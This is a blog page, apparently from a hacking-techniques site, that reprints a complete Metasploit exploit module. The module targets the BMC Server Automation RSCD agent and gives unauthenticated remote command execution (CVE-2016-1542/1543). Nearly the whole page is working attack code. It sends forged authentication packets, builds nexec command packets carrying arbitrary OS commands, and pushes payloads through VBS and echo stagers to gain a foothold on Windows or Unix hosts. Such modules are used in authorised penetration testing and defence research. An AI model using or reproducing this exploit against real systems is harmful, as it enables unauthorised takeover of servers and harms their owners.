Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863571306

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'BMC Server Automation RSCD Agent NSH Remote ' \
                           'Command Execution',
      'Description'     => %q(
        This module exploits a weak access control check in the BMC Server
        Automation RSCD agent that allows arbitrary operating system commands
        to be executed without authentication.
        Note: Under Windows, non-powershell commands may need to be prefixed
              with 'cmd /c'.
      ),
      'Author'          =>
        [
          'Olga Yanushkevich, ERNW <@yaole0>', # Vulnerability discovery
          'Nicky Bloor (@NickstaDB) <nick@nickbloor.co.uk>' # RCE payload and Metasploit module
        ],
      'References'      =>
        [
          ['URL', 'https://insinuator.net/2016/03/bmc-bladelogic-cve-2016-1542-and-cve-2016-1543/'],
          ['URL', 'https://nickbloor.co.uk/2018/01/01/rce-with-bmc-server-automation/'],
          ['URL', 'https://nickbloor.co.uk/2018/01/08/improving-the-bmc-rscd-rce-exploit/'],
          ['CVE', '2016-1542'],
          ['CVE', '2016-1543']
        ],
      'DisclosureDate'  => 'Mar 16 2016',
      'Privileged'      => false,
      'Stance'          => Msf::Exploit::Stance::Aggressive,
      'Platform'        => %w[win linux unix],
      'Targets'         =>
        [
          ['Automatic', {}],
          [
            'Windows/VBS Stager', {
              'Platform' => 'win',
              'Payload' => { 'Space' => 8100 }
            }
          ],
          [
            'Unix/Linux', {
              'Platform' => %w[linux unix],
              'Payload' => { 'Space' => 32_700 }
            }
          ],
          [
            'Generic Command', {
              'Arch' => ARCH_CMD,
              'Platform' => %w[linux unix win]
            }
          ]
        ],
      'DefaultTarget'   => 0,
      'License'         => MSF_LICENSE,
      'Payload'         => {
        'BadChars' => "\x00\x09\x0a"
      },
      'CmdStagerFlavor' => %w[vbs echo])
    )

    register_options(
      [
        Opt::RPORT(4750)
      ]
    )

    deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
  end

  def check
    # Send agentinfo request and check result
    vprint_status('Checking for BMC with agentinfo request.')
    res = send_agentinfo_request

    # Check for successful platform detection
    if res[0] == 1
      vprint_good('BMC RSCD agent detected, platform appears to be ' + res[1])
      return CheckCode::Detected
    end

    # Get first four bytes of the packet which should hold the content length
    res_len = res[1] && res[1].length > 3 ? res[1][0..3].unpack('N')[0] : 0

    # Return unknown if the packet format appears correct (length field check)
    if res[1] && res[1].length - 4 == res_len
      vprint_warning('Target appears to be BMC, however an unexpected ' \
                     'agentinfo response was returned.')
      vprint_warning('Response: ' + res[1])
      return CheckCode::Unknown
    end

    # Invalid response, probably not a BMC RSCD target
    vprint_error('The target does not appear to be a BMC RSCD agent.')
    vprint_error('Response: ' + res[1]) if res[1]
    CheckCode::Safe
  end

  def exploit
    # Do auto target selection
    target_name = target.name

    if target_name == 'Automatic'
      # Attempt to detect the target platform
      vprint_status('Detecting remote platform for auto target selection.')
      platform = send_agentinfo_request

      # Fail if platform detection was unsuccessful
      if platform[0].zero?
        fail_with(Failure::UnexpectedReply, 'Unexpected response while ' \
                  'detecting target platform.')
      end

      # Set target based on returned platform
      target_name = if platform[1].downcase.include?('windows')
                      'Windows/VBS Stager'
                    else
                      'Unix/Linux'
                    end
    end

    # Exploit based on target
    vprint_status('Generating and delivering payload.')
    if target_name == 'Windows/VBS Stager'
      if payload.raw.start_with?('powershell', 'cmd')
        execute_command(payload.raw)
      else
        execute_cmdstager(flavor: :vbs, linemax: payload.space)
      end
      handler
    elsif target_name == 'Unix/Linux'
      execute_cmdstager(flavor: :echo, linemax: payload.space)
      handler
    elsif target_name == 'Generic Cmd'
      send_nexec_request(payload.raw, true)
    end
  end

  # Execute a command but don't print output
  def execute_command(command, opts = {})
    if opts[:flavor] == :vbs
      if command.start_with?('powershell') == false
        if command.start_with?('cmd') == false
          send_nexec_request('cmd /c ' + command, false)
          return
        end
      end
    end
    send_nexec_request(command, false)
  end

  # Connect to the RSCD agent and execute a command via nexec
  def send_nexec_request(command, show_output)
    # Connect and auth
    vprint_status('Connecting to RSCD agent and sending fake auth.')
    connect_to_rscd
    send_fake_nexec_auth

    # Generate and send the payload
    vprint_status('Sending command to execute.')
    sock.put(generate_cmd_pkt(command))

    # Finish the nexec request
    sock.put("\x00\x00\x00\x22\x30\x30\x30\x30\x30\x30\x31\x61\x30\x30\x30" \
             "\x30\x30\x30\x31\x32\x77\x38\x30\x3b\x34\x31\x3b\x33\x39\x30" \
             "\x35\x38\x3b\x32\x34\x38\x35\x31")
    sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \
             "\x30\x30\x30\x30\x32\x65\x7f")
    sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \
             "\x30\x30\x30\x30\x32\x69\x03")
    sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \
             "\x30\x30\x30\x30\x32\x74\x31")
    sock.put("\x00\x00\x00\x1c\x30\x30\x30\x30\x30\x30\x31\x34\x30\x30\x30" \
             "\x30\x30\x30\x30\x63\x77\x38\x30\x3b\x34\x31\x3b\x38\x30\x3b" \
             "\x34\x31")
    sock.put("\x00\x00\x00\x11\x30\x30\x30\x30\x30\x30\x30\x39\x30\x30\x30" \
             "\x30\x30\x30\x30\x31\x7a")

    # Get the response from the RSCD agent and disconnect
    vprint_status('Reading response from RSCD agent.')
    res = read_cmd_output
    if show_output == true
      if res && res[0] == 1
        print_good("Output\n" + res[1])
      else
        print_warning('Command execution failed, the command may not exist.')
        vprint_warning("Output\n" + res[1])
      end
    end
    disconnect
  end

  # Attempt to retrieve RSCD agent info and return the platform string
  def send_agentinfo_request
    # Connect and send fake auth
    vprint_status('Connecting to RSCD agent and sending fake auth.')
    connect_to_rscd
    send_fake_agentinfo_auth

    # Send agentinfo request, read the response, and disconnect
    vprint_status('Requesting agent information.')
    sock.put("\x00\x00\x00\x32\x30\x30\x30\x30\x30\x30\x32\x61\x30\x30\x30" \
             "\x30\x30\x30\x31\x30\x36\x34\x3b\x30\x3b\x32\x3b\x36\x66\x37" \
             "\x3b\x38\x38\x30\x3b\x30\x30\x30\x30\x30\x30\x30\x30\x32\x34" \
             "\x31\x30\x30\x30\x30\x30\x30\x30\x30")
    res = sock.get_once
    disconnect

    # Return the platform field from the response if it looks valid
    res_len = res.length > 3 ? res[0..3].unpack('N')[0] : 0
    return [1, res.split(';')[4]] if res &&
                                     res.split(';').length > 6 &&
                                     res.length == (res_len + 4)

    # Invalid or unexpected response format, return the complete response
    [0, res]
  end

  # Connect to the target and upgrade to an encrypted connection
  def connect_to_rscd
    connect
    sock.put('TLS')
    sock.extend(Rex::Socket::SslTcp)
    sock.sslctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
    sock.sslctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
    sock.sslctx.options = OpenSSL::SSL::OP_ALL
    sock.sslctx.ciphers = 'ALL'
    sock.sslsock = OpenSSL::SSL::SSLSocket.new(sock, sock.sslctx)
    sock.sslsock.connect
  end

  # Send fake agentinfo auth packet and ignore the response
  def send_fake_agentinfo_auth
    sock.put("\x00\x00\x00\x5e\x30\x30\x30\x30\x30\x30\x35\x36\x30\x30\x30" \
             "\x30\x30\x30\x31\x31\x36\x35\x3b\x30\x3b\x33\x35\x3b\x38\x38" \
             "\x30\x3b\x38\x38\x30\x3b\x30\x30\x30\x30\x30\x30\x30\x33\x35" \
             "\x30\x3b\x30\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x39" \
             "\x3b\x61\x67\x65\x6e\x74\x69\x6e\x66\x6f\x3b\x2d\x3b\x2d\x3b" \
             "\x30\x3b\x2d\x3b\x31\x3b\x31\x3b\x37\x3b" + rand_text_alpha(7) +
             "\x3b\x55\x54\x46\x2d\x38")
    sock.get_once
  end

  # Send fake nexec auth packet and ignore the  response
  def send_fake_nexec_auth
    sock.put("\x00\x00\x00\x5a\x30\x30\x30\x30\x30\x30\x35\x32\x30\x30\x30" \
             "\x30\x30\x30\x31\x31\x36\x35\x3b\x30\x3b\x33\x31\x3b\x64\x61" \
             "\x34\x3b\x64\x61\x34\x3b\x30\x30\x30\x30\x30\x30\x30\x33\x31" \
             "\x30\x3b\x30\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x35" \
             "\x3b\x6e\x65\x78\x65\x63\x3b\x2d\x3b\x2d\x3b\x30\x3b\x2d\x3b" \
             "\x31\x3b\x31\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x55" \
             "\x54\x46\x2d\x38")
    sock.get_once
  end

  # Generate a payload packet
  def generate_cmd_pkt(command)
    # Encode back slashes
    pkt = command.gsub('\\', "\xc1\xdc")

    # Encode double quotes unless powershell is being used
    pkt = pkt.gsub('"', "\xc2\x68") unless pkt.start_with?('powershell')

    # Construct the body of the payload packet
    pkt = pad_number(pkt.length + 32) + "\x30\x30\x30\x30\x30\x30\x31\x30" \
          "\x62\x37\x3b\x30\x3b\x32\x3b\x63\x61\x65\x3b\x64\x61\x34\x3b\x30" +
          pad_number(pkt.length) + pkt

    # Prefix with the packet length and return
    [pkt.length].pack('N') + pkt
  end

  # Convert the given number to a hex string padded to 8 chars
  def pad_number(num)
    format('%08x', num)
  end

  # Read the command output from the server
  def read_cmd_output
    all_output = ''
    response_done = false

    # Read the entire response from the RSCD service
    while response_done == false
      # Read a response chunk
      chunk = sock.get_once
      next unless chunk && chunk.length > 4
      chunk_len = chunk[0..3].unpack('N')[0]
      chunk = chunk[4..chunk.length]
      chunk += sock.get_once while chunk.length < chunk_len

      # Check for the "end of output" chunk
      if chunk_len == 18 && chunk.start_with?("\x30\x30\x30\x30\x30\x30\x30" \
                                              "\x61\x30\x30\x30\x30\x30\x30" \
                                              "\x30\x32\x78")
        # Response has completed
        response_done = true
      elsif all_output == ''
        # Keep the first response chunk as-is
        all_output += chunk

        # If the command failed, we're done
        response_done = true unless all_output[8..15].to_i(16) != 1
      else
        # Append everything but the length fields to the output buffer
        all_output += chunk[17..chunk.length]
      end
    end

    # Return output if response indicated success
    return [1, all_output[26..all_output.length]] if
            all_output &&
            all_output.length > 26 &&
            all_output[8..15].to_i(16) == 1

    # Return nothing if there isn't enough data for error output
    return [0, ''] unless all_output && all_output.length > 17

    # Get the length of the error output and return the error
    err_len = all_output[8..15].to_i(16) - 1
    [0, all_output[17..17 + err_len]]
  end
end